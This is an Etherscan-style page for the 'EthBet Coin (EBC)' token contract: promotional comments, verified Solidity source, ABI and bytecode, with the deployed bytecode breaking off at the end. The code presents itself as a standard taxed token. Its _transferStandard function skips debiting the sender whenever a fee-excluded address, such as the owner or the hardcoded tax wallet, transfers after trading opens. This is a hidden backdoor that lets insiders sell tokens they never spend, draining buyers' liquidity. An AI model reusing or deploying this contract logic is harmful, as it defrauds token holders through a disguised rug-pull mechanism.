ETH Price: $3,364.09 (-2.34%)
Gas: 2 Gwei

Token

EthBet Coin (EBC)
 

Overview

Max Total Supply

1,000,000,000 EBC

Holders

99

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,795,920.4151816 EBC

Value
$0.00
0xcb1c330be792aab754c61edb04567de5a1a4dcdc
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EBC

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-12
*/

// SPDX-License-Identifier: Unlicensed

/**
$EBC can earn you profits, not just through its value increase due to our seamless ecosystem, but also from various rewarding systems we've designed

Website: https://www.ethbetpoker.com
Telegram: https://t.me/ebetpoker_erc
Twitter: https://twitter.com/ebetpoker_erc
**/

pragma solidity 0.8.21;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _preiousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract EBC is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = unicode"EthBet Coin";
    string private constant _symbol = unicode"EBC";

    mapping(address => uint256) private _rOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint8 private constant _decimals = 9;
    uint256 private constant MAX = 10 ** 30;
    uint256 private constant _tTotalSupply = 10 ** 9 * 10**9;
    uint256 private _rTotalSupply = (MAX - (MAX % _tTotalSupply));
    uint256 private _totalFee;
    uint256 private _redisBuyFee = 0;
    uint256 private _taxBuyFee = 23;
    uint256 private _redisSellFee = 0;
    uint256 private _taxSellFee = 23;

    uint256 private _redisFee = _redisSellFee;
    uint256 private _taxFee = _taxSellFee;

    uint256 private _previousRedisTaxFee = _redisFee;
    uint256 private _previousTaxFee = _taxFee;
    address payable private taxWallet;

    IUniswapV2Router02 public uniswapRouter;
    address public pairAddress;

    bool private tradeActive;
    bool private _inswap = false;
    bool private _swapFeeEnabled = true;

    uint256 public maxTransaction = 25 * 10 ** 6 * 10**9;
    uint256 public maxWallet = 25 * 10 ** 6 * 10**9;
    uint256 public feeSwapThreshold = 10 ** 4 * 10**9;

    event MaxTxAmountUpdated(uint256 maxTransaction);
    modifier lockTheSwap {
        _inswap = true;
        _;
        _inswap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotalSupply;
        taxWallet = payable(0xce61ed568fFFf00dae8C672922051D8acB149434);
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapRouter = _uniswapV2Router;
        pairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return reflectedTokens(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function sendETH(uint256 amount) private {
        taxWallet.transfer(amount);
    }

    function startTrade() public onlyOwner {
        tradeActive = true;
    }
    
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousRedisTaxFee = _redisFee;
        _previousTaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function _transferBasic(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        if (!_isExcludedFromFee[sender] || !tradeActive) {
            _rOwned[sender] = _rOwned[sender].sub(rAmount);
        }
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getCurrentRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotalSupply = _rTotalSupply.sub(rFee);
        _totalFee = _totalFee.add(tFee);
    }

    receive() external payable {}
    
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function reflectedTokens(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getCurrentRate();
        return rAmount.div(currentRate);
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getCurrentRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getCurrentRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getSupply();
        return rSupply.div(tSupply);
    }
    
    function _getSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotalSupply;
        uint256 tSupply = _tTotalSupply;
        if (rSupply < _rTotalSupply.div(_tTotalSupply)) return (_rTotalSupply, _tTotalSupply);
        return (rSupply, tSupply);
    }

    function restoreAllFee() private {
        _redisFee = _previousRedisTaxFee;
        _taxFee = _previousTaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeLimits() external onlyOwner {
        maxTransaction = _rTotalSupply;
        maxWallet = _rTotalSupply;
        _redisBuyFee = 0;
        _taxBuyFee = 2;
        _redisSellFee = 0;
        _taxSellFee = 2;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {
            if (!tradeActive) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= maxTransaction, "TOKEN: Max Transaction Limit");

            if(to != pairAddress) {
                require(balanceOf(to) + amount <= maxWallet, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= feeSwapThreshold;

            if(contractTokenBalance >= maxTransaction)
            {
                contractTokenBalance = maxTransaction;
            }

            if (canSwap && !_inswap && to == pairAddress && _swapFeeEnabled && !_isExcludedFromFee[from] && amount > feeSwapThreshold) {
                swapTokensforEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETH(address(this).balance);
                }
            }
        }
        bool takeFee = true;
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != pairAddress && to != pairAddress)) {
            takeFee = false;
        } else {
            if(from == pairAddress && to != address(uniswapRouter)) {
                _redisFee = _redisBuyFee;
                _taxFee = _taxBuyFee;
            }

            //Set Fee for Sells
            if (to == pairAddress && from != address(uniswapRouter)) {
                _redisFee = _redisSellFee;
                _taxFee = _taxSellFee;
            }

        }

        _transferBasic(from, to, amount, takeFee);
    }

    function swapTokensforEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();
        _approve(address(this), address(uniswapRouter), tokenAmount);
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTransaction","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405262000025670de0b6b3a76400006c0c9f2c9cd04674edea4000000062000333565b6200003e906c0c9f2c9cd04674edea4000000062000353565b6005555f6007819055601760088190556009829055600a819055600b829055600c819055600d91909155600e556011805461ffff60a81b1916600160b01b1790556658d15e1762800060128190556013556509184e72a000601455348015620000a5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600554335f9081526002602090815260409182902092909255600f805473ce61ed568ffff00dae8c672922051d8acb1494346001600160a01b03199182161790915560108054737a250d5630b4cf539739df2c5dacb4c659f2488d921682179055815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa1580156200017e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001a4919062000379565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f0573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000216919062000379565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000261573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000287919062000379565b601180546001600160a01b0319166001600160a01b039283161790555f80548216815260046020526040808220805460ff199081166001908117909255600f54909416835291208054909216179055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200032491815260200190565b60405180910390a350620003a8565b5f826200034e57634e487b7160e01b5f52601260045260245ffd5b500690565b818103818111156200037357634e487b7160e01b5f52601160045260245ffd5b92915050565b5f602082840312156200038a575f80fd5b81516001600160a01b0381168114620003a1575f80fd5b9392505050565b61157d80620003b65f395ff3fe608060405260043610610113575f3560e01c8063751039fc1161009d578063c3f70b5211610062578063c3f70b5214610309578063dd62ed3e1461031e578063de28707114610362578063f2fde38b14610377578063f8b45b0514610396575f80fd5b8063751039fc146102705780638da5cb5b1461028457806395d89b41146102a0578063a8b08982146102cb578063a9059cbb146102ea575f80fd5b8063313ce567116100e3578063313ce567146101d55780636c580801146101f057806370a0823114610206578063715018a614610225578063735de9f714610239575f80fd5b806306fdde031461011e578063095ea7b31461016357806318160ddd1461019257806323b872dd146101b6575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600b81526a22ba342132ba1021b7b4b760a91b60208201525b60405161015a91906112c0565b60405180910390f35b34801561016e575f80fd5b5061018261017d366004611322565b6103ab565b604051901515815260200161015a565b34801561019d575f80fd5b50670de0b6b3a76400005b60405190815260200161015a565b3480156101c1575f80fd5b506101826101d036600461134c565b6103c1565b3480156101e0575f80fd5b506040516009815260200161015a565b3480156101fb575f80fd5b50610204610428565b005b348015610211575f80fd5b506101a861022036600461138a565b61046f565b348015610230575f80fd5b50610204610490565b348015610244575f80fd5b50601054610258906001600160a01b031681565b6040516001600160a01b03909116815260200161015a565b34801561027b575f80fd5b50610204610501565b34801561028f575f80fd5b505f546001600160a01b0316610258565b3480156102ab575f80fd5b5060408051808201909152600381526245424360e81b602082015261014d565b3480156102d6575f80fd5b50601154610258906001600160a01b031681565b3480156102f5575f80fd5b50610182610304366004611322565b61054d565b348015610314575f80fd5b506101a860125481565b348015610329575f80fd5b506101a86103383660046113a5565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b34801561036d575f80fd5b506101a860145481565b348015610382575f80fd5b5061020461039136600461138a565b610559565b3480156103a1575f80fd5b506101a860135481565b5f6103b7338484610640565b5060015b92915050565b5f6103cd848484610763565b61041e843361041985604051806060016040528060288152602001611520602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610bea565b610640565b5060019392505050565b5f546001600160a01b0316331461045a5760405162461bcd60e51b8152600401610451906113dc565b60405180910390fd5b6011805460ff60a01b1916600160a01b179055565b6001600160a01b0381165f908152600260205260408120546103bb90610c22565b5f546001600160a01b031633146104b95760405162461bcd60e51b8152600401610451906113dc565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461052a5760405162461bcd60e51b8152600401610451906113dc565b60055460128190556013555f600781905560026008819055600991909155600a55565b5f6103b7338484610763565b5f546001600160a01b031633146105825760405162461bcd60e51b8152600401610451906113dc565b6001600160a01b0381166105e75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610451565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106a25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610451565b6001600160a01b0382166107035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610451565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107c75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610451565b6001600160a01b0382166108295760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610451565b5f811161088a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610451565b5f546001600160a01b038481169116148015906108b457505f546001600160a01b03838116911614155b15610ae057601154600160a01b900460ff1661094c575f546001600160a01b0384811691161461094c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610451565b60125481111561099e5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610451565b6011546001600160a01b03838116911614610a2457601354816109c08461046f565b6109ca9190611425565b1115610a245760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610451565b5f610a2e3061046f565b601454601254919250821015908210610a475760125491505b808015610a5e5750601154600160a81b900460ff16155b8015610a7757506011546001600160a01b038581169116145b8015610a8c5750601154600160b01b900460ff165b8015610ab057506001600160a01b0385165f9081526004602052604090205460ff16155b8015610abd575060145483115b15610add57610acb82610c3f565b478015610adb57610adb47610daf565b505b50505b6001600160a01b0383165f9081526004602052604090205460019060ff1680610b2057506001600160a01b0383165f9081526004602052604090205460ff165b80610b5257506011546001600160a01b03858116911614801590610b5257506011546001600160a01b03848116911614155b15610b5e57505f610bd8565b6011546001600160a01b038581169116148015610b8957506010546001600160a01b03848116911614155b15610b9b57600754600b55600854600c555b6011546001600160a01b038481169116148015610bc657506010546001600160a01b03858116911614155b15610bd857600954600b55600a54600c555b610be484848484610dea565b50505050565b5f8184841115610c0d5760405162461bcd60e51b815260040161045191906112c0565b505f610c198486611438565b95945050505050565b5f80610c2c610e18565b9050610c388382610e39565b9392505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c8557610c8561144b565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cdc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d00919061145f565b81600181518110610d1357610d1361144b565b6001600160a01b039283166020918202929092010152601054610d399130911684610640565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d719085905f9086903090429060040161147a565b5f604051808303815f87803b158015610d88575f80fd5b505af1158015610d9a573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b600f546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610de6573d5f803e3d5ffd5b5050565b80610df757610df7610e7a565b610e02848484610ea7565b80610be457610be4600d54600b55600e54600c55565b5f805f610e23610fdb565b9092509050610e328282610e39565b9250505090565b5f610c3883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061101a565b600b54158015610e8a5750600c54155b15610e9157565b600b8054600d55600c8054600e555f9182905555565b5f805f805f80610eb687611046565b6001600160a01b038f165f90815260046020526040902054959b5093995091975095509350915060ff161580610ef65750601154600160a01b900460ff16155b15610f36576001600160a01b0389165f90815260026020526040902054610f1d908761109b565b6001600160a01b038a165f908152600260205260409020555b6001600160a01b0388165f90815260026020526040902054610f5890866110dc565b6001600160a01b0389165f90815260026020526040902055610f798161113a565b610f838483611180565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fc891815260200190565b60405180910390a3505050505050505050565b6005545f908190670de0b6b3a7640000610ff58282610e39565b82101561101157505060055492670de0b6b3a764000092509050565b90939092509050565b5f818361103a5760405162461bcd60e51b815260040161045191906112c0565b505f610c1984866114e9565b5f805f805f805f805f61105e8a600b54600c546111a4565b9250925092505f61106d610e18565b90505f805f61107e8e8787876111f6565b919e509c509a509598509396509194505050505091939550919395565b5f610c3883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bea565b5f806110e88385611425565b905083811015610c385760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610451565b5f611143610e18565b90505f6111508383611242565b305f9081526002602052604090205490915061116c90826110dc565b305f90815260026020526040902055505050565b60055461118d908361109b565b60055560065461119d90826110dc565b6006555050565b5f8080806111bd60646111b78989611242565b90610e39565b90505f6111cf60646111b78a89611242565b90505f6111e6826111e08b8661109b565b9061109b565b9992985090965090945050505050565b5f8080806112048886611242565b90505f6112118887611242565b90505f61121e8888611242565b90505f61122f826111e0868661109b565b939b939a50919850919650505050505050565b5f825f0361125157505f6103bb565b5f61125c8385611508565b90508261126985836114e9565b14610c385760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610451565b5f6020808352835180828501525f5b818110156112eb578581018301518582016040015282016112cf565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461131f575f80fd5b50565b5f8060408385031215611333575f80fd5b823561133e8161130b565b946020939093013593505050565b5f805f6060848603121561135e575f80fd5b83356113698161130b565b925060208401356113798161130b565b929592945050506040919091013590565b5f6020828403121561139a575f80fd5b8135610c388161130b565b5f80604083850312156113b6575f80fd5b82356113c18161130b565b915060208301356113d18161130b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156103bb576103bb611411565b818103818111156103bb576103bb611411565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561146f575f80fd5b8151610c388161130b565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156114c85784516001600160a01b0316835293830193918301916001016114a3565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261150357634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103bb576103bb61141156fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201b6a6588ffd936f6ef19fc2599c6fafeb64cb8c455c4e9f782853bf014c24d9664736f6c63430008150033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063751039fc1161009d578063c3f70b5211610062578063c3f70b5214610309578063dd62ed3e1461031e578063de28707114610362578063f2fde38b14610377578063f8b45b0514610396575f80fd5b8063751039fc146102705780638da5cb5b1461028457806395d89b41146102a0578063a8b08982146102cb578063a9059cbb146102ea575f80fd5b8063313ce567116100e3578063313ce567146101d55780636c580801146101f057806370a0823114610206578063715018a614610225578063735de9f714610239575f80fd5b806306fdde031461011e578063095ea7b31461016357806318160ddd1461019257806323b872dd146101b6575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600b81526a22ba342132ba1021b7b4b760a91b60208201525b60405161015a91906112c0565b60405180910390f35b34801561016e575f80fd5b5061018261017d366004611322565b6103ab565b604051901515815260200161015a565b34801561019d575f80fd5b50670de0b6b3a76400005b60405190815260200161015a565b3480156101c1575f80fd5b506101826101d036600461134c565b6103c1565b3480156101e0575f80fd5b506040516009815260200161015a565b3480156101fb575f80fd5b50610204610428565b005b348015610211575f80fd5b506101a861022036600461138a565b61046f565b348015610230575f80fd5b50610204610490565b348015610244575f80fd5b50601054610258906001600160a01b031681565b6040516001600160a01b03909116815260200161015a565b34801561027b575f80fd5b50610204610501565b34801561028f575f80fd5b505f546001600160a01b0316610258565b3480156102ab575f80fd5b5060408051808201909152600381526245424360e81b602082015261014d565b3480156102d6575f80fd5b50601154610258906001600160a01b031681565b3480156102f5575f80fd5b50610182610304366004611322565b61054d565b348015610314575f80fd5b506101a860125481565b348015610329575f80fd5b506101a86103383660046113a5565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b34801561036d575f80fd5b506101a860145481565b348015610382575f80fd5b5061020461039136600461138a565b610559565b3480156103a1575f80fd5b506101a860135481565b5f6103b7338484610640565b5060015b92915050565b5f6103cd848484610763565b61041e843361041985604051806060016040528060288152602001611520602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610bea565b610640565b5060019392505050565b5f546001600160a01b0316331461045a5760405162461bcd60e51b8152600401610451906113dc565b60405180910390fd5b6011805460ff60a01b1916600160a01b179055565b6001600160a01b0381165f908152600260205260408120546103b